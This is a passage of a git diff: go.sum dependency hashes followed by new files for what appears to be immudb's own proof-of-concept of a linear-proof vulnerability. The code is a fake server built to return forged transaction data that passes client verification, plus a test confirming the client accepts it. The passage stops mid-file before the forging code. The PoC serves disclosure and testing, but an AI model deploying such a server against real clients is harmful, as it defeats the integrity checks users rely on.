v0.0.0-20201201144952-b05cb90ed32e/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20201210142538-e3217bee35cc/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20201214200347-8c77b98c765d/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20210108203827-ffc7fda8c3d7/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20210222152913-aa3ee6e6a81c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20210226172003-ab064af71705/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20210303154014-9728d6b83eeb/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20210310155132-4ce2db91004e/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20210319143718-93e7006c17a6/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20210402141018-6c239bbf2bb1/go.mod h1:9lPAdzaEmUacj36I+k7YKbEc5CXzPIeORRgDAUOu28A= +google.golang.org/genproto v0.0.0-20210513213006-bf773b8c8384/go.mod h1:P3QM42oQyzQSnHPnZ/vqoCdDmzH28fzWByN9asMeM8A= +google.golang.org/genproto v0.0.0-20210602131652-f16073e35f0c/go.mod h1:UODoCrxHCcBojKKwX1terBiRUaqAsFqJiF615XL43r0= +google.golang.org/genproto v0.0.0-20210604141403-392c879c8b08/go.mod h1:UODoCrxHCcBojKKwX1terBiRUaqAsFqJiF615XL43r0= +google.golang.org/genproto v0.0.0-20210608205507-b6d2f5bf0d7d/go.mod h1:UODoCrxHCcBojKKwX1terBiRUaqAsFqJiF615XL43r0= +google.golang.org/genproto v0.0.0-20210624195500-8bfb893ecb84/go.mod h1:SzzZ/N+nwJDaO1kznhnlzqS8ocJICar6hYhVyhi++24= +google.golang.org/genproto v0.0.0-20210713002101-d411969a0d9a/go.mod h1:AxrInvYm1dci+enl5hChSFPOmmUF1+uAa/UsgNRWd7k= +google.golang.org/genproto v0.0.0-20210716133855-ce7ef5c701ea/go.mod h1:AxrInvYm1dci+enl5hChSFPOmmUF1+uAa/UsgNRWd7k= +google.golang.org/genproto v0.0.0-20210728212813-7823e685a01f/go.mod h1:ob2IJxKrgPT52GcgX759i1sleT07tiKowYBGbczaW48= +google.golang.org/genproto v0.0.0-20210805201207-89edb61ffb67/go.mod h1:ob2IJxKrgPT52GcgX759i1sleT07tiKowYBGbczaW48= +google.golang.org/genproto v0.0.0-20210813162853-db860fec028c/go.mod h1:cFeNkxwySK631ADgubI+/XFU/xp8FD5KIVV4rj8UC5w= +google.golang.org/genproto v0.0.0-20210821163610-241b8fcbd6c8/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= +google.golang.org/genproto v0.0.0-20210828152312-66f60bf46e71/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= +google.golang.org/genproto v0.0.0-20210831024726-fe130286e0e2/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= +google.golang.org/genproto v0.0.0-20210903162649-d08c68adba83/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= +google.golang.org/genproto v0.0.0-20210909211513-a8c4777a87af/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= +google.golang.org/genproto v0.0.0-20210924002016-3dee208752a0/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= +google.golang.org/genproto v0.0.0-20211008145708-270636b82663/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= +google.golang.org/genproto v0.0.0-20211028162531-8db9c33dc351/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= +google.golang.org/genproto v0.0.0-20211118181313-81c1377c94b1/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= +google.golang.org/genproto v0.0.0-20211206160659-862468c7d6e0/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= +google.golang.org/genproto v0.0.0-20211208223120-3a66f561d7aa/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= +google.golang.org/genproto v0.0.0-20211221195035-429b39de9b1c/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= +google.golang.org/genproto v0.0.0-20220126215142-9970aeb2e350/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= +google.golang.org/genproto v0.0.0-20220207164111-0872dc986b00/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= +google.golang.org/genproto v0.0.0-20220218161850-94dd64e39d7c/go.mod h1:kGP+zUP2Ddo0ayMi4YuN7C3WZyJvGLZRh8Z5wnAqvEI= +google.golang.org/genproto v0.0.0-20220222213610-43724f9ea8cf/go.mod h1:kGP+zUP2Ddo0ayMi4YuN7C3WZyJvGLZRh8Z5wnAqvEI= +google.golang.org/genproto v0.0.0-20220304144024-325a89244dc8/go.mod h1:kGP+zUP2Ddo0ayMi4YuN7C3WZyJvGLZRh8Z5wnAqvEI= +google.golang.org/genproto v0.0.0-20220310185008-1973136f34c6/go.mod h1:kGP+zUP2Ddo0ayMi4YuN7C3WZyJvGLZRh8Z5wnAqvEI= +google.golang.org/genproto v0.0.0-20220324131243-acbaeb5b85eb/go.mod h1:hAL49I2IFola2sVEjAn7MEwsja0xp51I0tlGAf9hz4E= +google.golang.org/genproto v0.0.0-20220407144326-9054f6ed7bac/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= +google.golang.org/genproto v0.0.0-20220413183235-5e96e2839df9/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= +google.golang.org/genproto v0.0.0-20220414192740-2d67ff6cf2b4/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= +google.golang.org/genproto v0.0.0-20220421151946-72621c1f0bd3/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= +google.golang.org/genproto v0.0.0-20220429170224-98d788798c3e/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= +google.golang.org/genproto v0.0.0-20220505152158-f39f71e6c8f3/go.mod h1:RAyBrSAP7Fh3Nc84ghnVLDPuV51xc9agzmm4Ph6i0Q4= +google.golang.org/genproto v0.0.0-20220519153652-3a47de7e79bd h1:e0TwkXOdbnH/1x5rc5MZ/VYyiZ4v+RdVfrGMqEwT68I= +google.golang.org/genproto v0.0.0-20220519153652-3a47de7e79bd/go.mod h1:RAyBrSAP7Fh3Nc84ghnVLDPuV51xc9agzmm4Ph6i0Q4= +google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= +google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= +google.golang.org/grpc v1.21.0/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= +google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= +google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= +google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY= +google.golang.org/grpc v1.26.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= +google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= +google.golang.org/grpc v1.27.1/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= +google.golang.org/grpc v1.28.0/go.mod h1:rpkK4SK4GF4Ach/+MFLZUBavHOvF2JJB5uozKKal+60= +google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk= +google.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= +google.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= +google.golang.org/grpc v1.31.1/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= +google.golang.org/grpc v1.33.1/go.mod h1:fr5YgcSWrqhRRxogOsw7RzIpsmvOZ6IcH4kBYTpR3n0= +google.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc= +google.golang.org/grpc v1.34.0/go.mod h1:WotjhfgOW/POjDeRt8vscBtXq+2VjORFy659qA51WJ8= +google.golang.org/grpc v1.35.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= +google.golang.org/grpc v1.36.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= +google.golang.org/grpc v1.36.1/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= +google.golang.org/grpc v1.37.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= +google.golang.org/grpc v1.37.1/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= +google.golang.org/grpc v1.38.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= +google.golang.org/grpc v1.39.0/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnDzfrE= +google.golang.org/grpc v1.39.1/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnDzfrE= +google.golang.org/grpc v1.40.0/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34= +google.golang.org/grpc v1.40.1/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34= +google.golang.org/grpc v1.44.0/go.mod h1:k+4IHHFw41K8+bbowsex27ge2rCb65oeWqe4jJ590SU= +google.golang.org/grpc v1.45.0/go.mod h1:lN7owxKUQEqMfSyQikvvk5tf/6zMPsrK+ONuO11+0rQ= +google.golang.org/grpc v1.46.0/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= +google.golang.org/grpc v1.46.2 h1:u+MLGgVf7vRdjEYZ8wDFhAVNmhkbJ5hmrA1LMWK1CAQ= +google.golang.org/grpc v1.46.2/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= +google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0/go.mod h1:6Kw0yEErY5E/yWrBtf03jp27GLLJujG4z/JK95pnjjw= +google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= +google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= +google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= +google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE= +google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo= +google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= +google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= +google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= +google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4= +google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= +google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= +google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= +google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= +google.golang.org/protobuf v1.28.0 h1:w43yiav+6bVFTBQFZX0r7ipe9JQ1QsbMgHwbBziscLw= +google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= +gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo= +gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= +gopkg.in/inconshreveable/log15.v2 v2.0.0-20180818164646-67afb5ed74ec/go.mod h1:aPpfJ7XW+gOuirDoZ8gHhLh3kZ1B08FtV2bbmy7Jv3s= +gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= +gopkg.in/ini.v1 v1.57.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= +gopkg.in/ini.v1 v1.62.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= +gopkg.in/ini.v1 v1.66.4/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= +gopkg.in/ini.v1 v1.66.6 h1:LATuAqN/shcYAOkv3wl2L4rkaKqkcgTBQjOyYDvcPKI= +gopkg.in/ini.v1 v1.66.6/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= +gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo= +gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74= +gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= +gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.0/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= +honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= +honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= +honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= +honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg= +honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= +honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= +rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= +rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0= +rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA= +sigs.k8s.io/yaml v1.2.0/go.mod h1:yfXDCHCao9+ENCvLSE62v9VSji2MKu5jeNfTrofGhJc= diff --git a/docs/security/vulnerabilities/linear-fake/server/go_client_test.go b/docs/security/vulnerabilities/linear-fake/server/go_client_test.go new file mode 100644 index 0000000000..4b04dc2a74 --- /dev/null +++ b/docs/security/vulnerabilities/linear-fake/server/go_client_test.go @@ -0,0 +1,89 @@ +/* +Copyright 2022 CodeNotary, Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ +package main_test + +import ( + "context" + "os" + "path/filepath" + "testing" + + main "linear-fake" + + immudb "github.com/codenotary/immudb/pkg/client" + + "github.com/stretchr/testify/require" +) + +// Simple test routine for checking PoC vulnerability code +func TestServer(t *testing.T) { + srv, err := main.GetFakeServer(t.TempDir(), 3322) + require.NoError(t, err) + + go func() { + require.NoError(t, srv.Start()) + }() + defer srv.Stop() + + defer func() { + list, err := filepath.Glob(".state-*") + require.NoError(t, err) + for _, e := range list { + err := os.Remove(e) + require.NoError(t, err) + } + }() + + opts := immudb.DefaultOptions(). + WithAddress("localhost"). + WithPort(3322) + + ctx := context.Background() + + client := immudb.NewClient().WithOptions(opts) + err = client.OpenSession(ctx, []byte(`immudb`), []byte(`immudb`), "defaultdb") + require.NoError(t, err) + + defer client.CloseSession(ctx) + + // get correct entries at TX 2 + tx2, err := client.VerifiedTxByID(ctx, 2) + require.NoError(t, err) + require.EqualValues(t, 2, tx2.Header.Id) + require.Len(t, tx2.GetEntries(), 1) + require.Equal(t, "valid-key-0", string(tx2.GetEntries()[0].GetKey())) + + // transition to TX 3, verify consistency between TX 2 and TX 3 + tx3, err := client.VerifiedTxByID(ctx, 3) + require.NoError(t, err) + require.EqualValues(t, 3, tx3.Header.Id) + require.Len(t, tx3.GetEntries(), 1) + require.Equal(t, "valid-key-1", string(tx3.GetEntries()[0].GetKey())) + + // transition to TX 5, verify consistency between TX3 and TX 5 + tx5, err := client.VerifiedTxByID(ctx, 5) + require.NoError(t, err) + require.EqualValues(t, 5, tx5.Header.Id) + require.Len(t, tx5.GetEntries(), 1) + require.Equal(t, "key-after-1", string(tx5.GetEntries()[0].GetKey())) + + // verified get of TX2 with known state at TX 5 returning fake data + tx2Fake, err := client.VerifiedTxByID(ctx, 2) + require.NoError(t, err) + require.EqualValues(t, 2, tx2.Header.Id) + require.Len(t, tx2Fake.GetEntries(), 1) + require.Equal(t, "fake-key", string(tx2Fake.GetEntries()[0].GetKey())) +} diff --git a/docs/security/vulnerabilities/linear-fake/server/main.go b/docs/security/vulnerabilities/linear-fake/server/main.go new file mode 100644 index 0000000000..6880e81ab6 --- /dev/null +++ b/docs/security/vulnerabilities/linear-fake/server/main.go @@ -0,0 +1,45 @@ +/* +Copyright 2022 CodeNotary, Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ +package main + +import ( + "log" + "os" + "os/signal" + "syscall" +) + +func main() { + tmpDir, err := os.MkdirTemp("", "") + if err != nil { + log.Fatal(err) + } + + defer os.RemoveAll(tmpDir) + + srv, err := GetFakeServer(tmpDir, 3322) + if err != nil { + log.Fatal(err) + } + + exitSignal := make(chan os.Signal, 1) + signal.Notify(exitSignal, os.Interrupt, syscall.SIGTERM) + + go srv.Start() + + <-exitSignal + srv.Stop() +} diff --git a/docs/security/vulnerabilities/linear-fake/server/server.go b/docs/security/vulnerabilities/linear-fake/server/server.go new file mode 100644 index 0000000000..7eff82f4f1 --- /dev/null +++ b/docs/security/vulnerabilities/linear-fake/server/server.go @@ -0,0 +1,270 @@ +/* +Copyright 2022 CodeNotary, Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ +package main + +import ( + "context" + "errors" + + "github.com/codenotary/immudb/embedded/sql" + "github.com/codenotary/immudb/pkg/api/schema" + "github.com/codenotary/immudb/pkg/database" + "github.com/codenotary/immudb/pkg/server" +) + +type customDbList struct { + dbList database.DatabaseList +} + +func (l *customDbList) Put(db database.DB) { + l.dbList.Put(db) +} + +func (l *customDbList) Delete(dbName string) (database.DB, error) { + return l.dbList.Delete(dbName) +} + +func (l *customDbList) GetByIndex(index int) (database.DB, error) { + return wrapDb(l.dbList.GetByIndex(index)) +} + +func (l *customDbList) GetByName(dbName string) (database.DB, error) { + return wrapDb(l.dbList.GetByName(dbName)) +} + +func (l *customDbList) GetId(dbName string) int { + return l.dbList.GetId(dbName) +} + +func (l *customDbList) Length() int { + return l.dbList.Length() +} + +func wrapDb(db database.DB, err error) (database.DB, error) { + if err != nil { + return nil, err + } + + return &dbWrapper{ + DB: db, + }, nil +} + +type dbWrapper struct { + database.DB +} + +func (db *dbWrapper) unsupported() error { + return errors.New( + `unsupported operation for this test, please do the test using the following steps: + 1. fetch transaction 2 with proof without prior state or with state at tx 2, + ensure transaction 2 contains key "valid-key-0" + 2. get consistency proof between Tx 2 and Tx 3, store Tx 3 state + 3. get consistency proof between Tx 3 and Tx 5, store Tx 5 state + 4. fetch Tx 2 with consistency proof against Tx 5 again, server will respond with + a transaction that will contain "fake-key" entry +valid client should reject this sequence of actions`, + ) +} + +func (db *dbWrapper) CurrentState() (*schema.ImmutableState, error) { + // This call may happen when the client does not yet have a valid state + return stateQueryResult, nil +} + +func (db *dbWrapper) Set(req *schema.SetRequest) (*schema.TxHeader, error) { + return nil, db.unsupported() +} + +func (db *dbWrapper) VerifiableSet(req *schema.VerifiableSetRequest) (*schema.VerifiableTx, error) { + return nil, db.unsupported() +} + +func (db *dbWrapper) Get(req *schema.KeyRequest) (*schema.Entry, error) { + return nil, db.unsupported() +} + +func (db *dbWrapper) VerifiableGet(req *schema.VerifiableGetRequest) (*schema.VerifiableEntry, error) { + return nil, db.unsupported() +} + +func (db *dbWrapper) GetAll(req *schema.KeyListRequest) (*schema.Entries, error) { + return nil, db.unsupported() +} +func (db *dbWrapper) Delete(req *schema.DeleteKeysRequest) (*schema.TxHeader, error) { + return nil, db.unsupported() +} + +func (db *dbWrapper) SetReference(req *schema.ReferenceRequest) (*schema.TxHeader, error) { + return nil, db.unsupported() +} + +func (db *dbWrapper) VerifiableSetReference(req *schema.VerifiableReferenceRequest) (*schema.VerifiableTx, error) { + return nil, db.unsupported() +} + +func (db *dbWrapper) Scan(req *schema.ScanRequest) (*schema.Entries, error) { + return nil, db.unsupported() +} + +func (db *dbWrapper) History(req *schema.HistoryRequest) (*schema.Entries, error) { + return nil, db.unsupported() +} + +func (db *dbWrapper) ExecAll(operations *schema.ExecAllRequest) (*schema.TxHeader, error) { + return nil, db.unsupported() +} + +func (db *dbWrapper) Count(prefix *schema.KeyPrefix) (*schema.EntryCount, error) { + return nil, db.unsupported() +} + +func (db *dbWrapper) CountAll() (*schema.EntryCount, error) { + return nil, db.unsupported() +} + +func (db *dbWrapper) ZAdd(req *schema.ZAddRequest) (*schema.TxHeader, error) { + return nil, db.unsupported() +} + +func (db *dbWrapper) VerifiableZAdd(req *schema.VerifiableZAddRequest) (*schema.VerifiableTx, error) { + return nil, db.unsupported() +} + +func (db *dbWrapper) ZScan(req *schema.ZScanRequest) (*schema.ZEntries, error) { + return nil, db.unsupported() +} + +func (db *dbWrapper) NewSQLTx(ctx context.Context) (*sql.SQLTx, error) { + return nil, db.unsupported() +} + +func (db *dbWrapper) SQLExec(req *schema.SQLExecRequest, tx *sql.SQLTx) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) { + return nil, nil, db.unsupported() +} + +func (db *dbWrapper) SQLExecPrepared(stmts []sql.SQLStmt, params map[string]interface{}, tx *sql.SQLTx) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) { + return nil, nil, db.unsupported() +} + +func (db *dbWrapper) InferParameters(sql string, tx *sql.SQLTx) (map[string]sql.SQLValueType, error) { + return nil, db.unsupported() +} + +func (db *dbWrapper) InferParametersPrepared(stmt sql.SQLStmt, tx *sql.SQLTx) (map[string]sql.SQLValueType, error) { + return nil, db.unsupported() +} + +func (db *dbWrapper) SQLQuery(req *schema.SQLQueryRequest, tx *sql.SQLTx) (*schema.SQLQueryResult, error) { + return nil, db.unsupported() +} + +func (db *dbWrapper) SQLQueryPrepared(stmt sql.DataSource, namedParams []*schema.NamedParam, tx *sql.SQLTx) (*schema.SQLQueryResult, error) { + return nil, db.unsupported() +} + +func (db *dbWrapper) SQLQueryRowReader(stmt sql.DataSource, params map[string]interface{}, tx *sql.SQLTx) (sql.RowReader, error) { + return nil, db.unsupported() +} + +func (db *dbWrapper) VerifiableSQLGet(req *schema.VerifiableSQLGetRequest) (*schema.VerifiableSQLEntry, error) { + return nil, db.unsupported() +} + +func (db *dbWrapper) ListTables(tx *sql.SQLTx) (*schema.SQLQueryResult, error) { + return nil, db.unsupported() +} + +func (db *dbWrapper) DescribeTable(table string, tx *sql.SQLTx) (*schema.SQLQueryResult, error) { + return nil, db.unsupported() +} + +func (db *dbWrapper) 